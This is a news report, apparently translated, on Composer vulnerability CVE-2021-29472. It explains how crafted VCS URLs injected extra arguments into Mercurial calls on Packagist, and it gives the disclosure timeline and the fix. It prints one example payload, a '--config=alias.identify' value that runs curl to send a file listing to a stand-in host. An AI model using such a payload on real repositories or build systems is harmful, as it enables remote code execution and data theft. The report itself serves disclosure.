Vulnerability in the Composer package manager that allows the compromise of the Packagist PHP repository

A critical vulnerability has been identified in the Composer dependency manager (CVE-2021-29472), which allows arbitrary commands to be executed on the system when processing a package with a specially crafted URL value that specifies the source download address. The problem manifests itself in the GitDriver, SvnDriver, and HgDriver components used when using the Git, Subversion, and Mercurial source control systems. The vulnerability was fixed in Composer 1.10.22 and 2.0.13 releases.

It is specifically noted that the issue primarily affected Composer's default Packagist package repository, which has 306 PHP developer packages and over 1.4 billion monthly downloads. The experiment shows that, if known about the problem, attackers could take control of the Packagist infrastructure and intercept the credentials of maintainers or redirect package downloads to a third-party server, arranging the delivery of variants of packages with malicious changes to substitute a backdoor during the installation of dependencies.

The danger to end users is limited to the fact that the content of composer.json is usually defined by the user, and links to sources are passed when accessing third-party repositories, which are usually trustworthy. The main blow fell on the Packagist.org repository and the Private Packagist service, which call Composer with the transfer of data received from users. Attackers could execute their code on Packagist servers by hosting a specially crafted package.

The Packagist team fixed the vulnerability within 12 hours of the vulnerability being reported. The researchers privately notified the Packagist developers on April 22 and the issue was fixed the same day. A public update to Composer fixing the vulnerability was posted on April 27, with details revealed on April 28. An audit of the logs on the Packagist servers did not reveal any suspicious activity related to the vulnerability.

The problem is caused by a bug in the URL validation code in the root composer.json file and source download links. The bug has been present in the code since November 2011. In Packagist, to organize loading of code without being tied to a specific source control system, special layers are used, which are performed by calling "fromShellCommandline" with passing command line arguments. For example, for git, the command "git ls-remote --heads $URL" is called, where the URL is parsed using the "ProcessExecutor::escape($url)" method, escaping potentially dangerous constructs such as "$(...)" or "` …`".

The essence of the problem is that the ProcessExecutor::escape method did not escape the “—” sequence, which allowed any additional call parameter to be specified in the URL. This escaping was missing in GitDriver.php, SvnDriver.php and HgDriver.php. The GitDriver.php attack was hampered by the fact that the "git ls-remote" command did not support specifying additional arguments after the path. An attack on HgDriver.php turned out to be possible by passing the “-config” parameter to the “hq” utility, which allows organizing the execution of any command through manipulation with the “alias.identify” setting. For example, to download and execute code by running the curl utility, one could specify: --config=alias.identify=!curl http://exfiltration-host.tld --data "$(ls -alh)"

By posting a test package with a similar URL to Packagist, the researchers verified that after posting, their server received an HTTP request from one of the Packagist servers on AWS containing a listing of files in the current directory.

Source: opennet.ru

Add a comment